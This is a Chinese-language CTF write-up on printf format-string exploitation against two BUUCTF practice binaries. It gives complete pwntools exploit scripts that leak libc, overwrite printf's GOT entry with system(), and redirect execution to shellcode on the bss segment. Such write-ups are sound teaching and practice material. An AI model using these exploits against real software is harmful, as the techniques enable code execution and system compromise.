栈上:
我常用%s和%p来泄露libc基址和pie地址,用%hhn,%hn,%n来修改地址内容
例题:buuctf上的wdb_2018_2nd_easyfmt
看下ida:
主函数很简单,在printf处有格式化字符串漏洞,可以重复利用,此题没有后门函数,buf在栈上。
思路:
1.利用格式化字符串漏洞泄露libc,求出system地址,并算出偏移。
2.将printf_got地址内容改成system地址,再次调用时输入bin/sh\x00(将buf赋值成bin/sh\x00),执行printf时便提权了。
重要步骤:
1.格式化字符串泄露libc:
1
| payload1=p32(printf_got)+"%6$s"
|
2.格式化字符串改地址内容:
方法一:
将printf_got高低地址分开改值
1 2 3 4
| sys_high = (sys >> 16) & 0xff sys_low = sys & 0xffff payload = '%'+str(sys_high)+'c%13$hhn'+'%'+str(sys_low-sys_high)+'c%14$hn' payload = payload.ljust(28,'a')+p32(printf_got+2)+p32(printf_got)
|
方法二:
使用fmtstr_payload工具
偏移为6.
1
| payload = fmtstr_payload(6,{printf_got: sys})
|
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| from pwn import*
p=process('./wdb_2018_2nd_easyfmt') elf=ELF('./wdb_2018_2nd_easyfmt') printf_got=elf.got['printf'] print hex(printf_got)
payload1=p32(printf_got)+"%6$s" p.sendlineafter("repeater?\n",payload1)
p.recv(4) printf_addr=u32(p.recv(4)) libc=ELF('/lib/i386-linux-gnu/libc.so.6')
base=printf_addr-libc.sym['printf'] sys=base+libc.sym['system'] print hex(sys)
sys_high = (sys >> 16) & 0xff sys_low = sys & 0xffff
payload = '%'+str(sys_high)+'c%13$hhn'+'%'+str(sys_low-sys_high)+'c%14$hn'
payload = payload.ljust(28,'a')+p32(printf_got+2)+p32(printf_got)
p.sendline(payload) sleep(0.2) p.sendline("bin/sh\x00")
p.interactive()
|
非栈上:
例题:buuctf上的hitcontraining_playfmt
看下ida
buf在bss段上。
确定偏移并改地址:
这里我是按照自己的方法。
脚本输入%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p,gdb定位到printf的下一行代码,如图:
我是运用ebp指针链
在看看输出,如下图:
这个地址的偏移为6,并且可以发现0xffdafd68指向的地址0xffdafd78偏移为10(补充:一般32位链表后一个地址偏移为前一个地址偏移加4,64位加8)
将0xffdafd68指向的地址0xffdafd78的最后一个字节改为3c(这个地址比较难找),再将0xffdafd5c指向地址后两个字节改成输入的在bss段上的shellcode的地址后两字节,程序退出时便会调用shellcode。爆破概率为1/16。
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| from pwn import *
context(log_level = 'debug',os = 'linux',arch = 'i386') shellcode = asm(shellcraft.sh())
sh = process('./playfmt')
tar = '%60c%6$hhn'
sh.sendline(tar) sleep(0.1) tar = '%41069c%10$hn'+shellcode
gdb.attach(sh) sh.sendline(tar) sh.sendline('quit') sh.interactive()
|